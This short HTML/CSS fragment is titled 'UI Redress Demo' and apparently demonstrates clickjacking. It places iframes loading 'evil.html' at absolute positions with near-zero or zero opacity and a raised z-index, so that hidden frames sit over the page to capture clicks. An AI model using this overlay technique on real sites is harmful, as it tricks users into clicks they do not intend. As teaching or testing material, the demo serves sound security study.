UI Redress Demo

  <iframe src="evil.html"
  width="120" height="70" align="center"></iframe>

    iframe#fg10 {
      width: 120px;
      height: 95px;
      position: absolute;
      top: 555px;
      left: 14px;
      opacity: 0.1;
      z-index: 2;
    }

<iframe id="fg10" src="evil.html"></iframe>

    iframe#fg00 {
      width: 120px;
      height: 95px;
      position: absolute;
      top: 955px;
      left: 14px;
      opacity: 0.0;
      z-index: 2;
    }

<iframe id="fg00" src="evil.html"></iframe>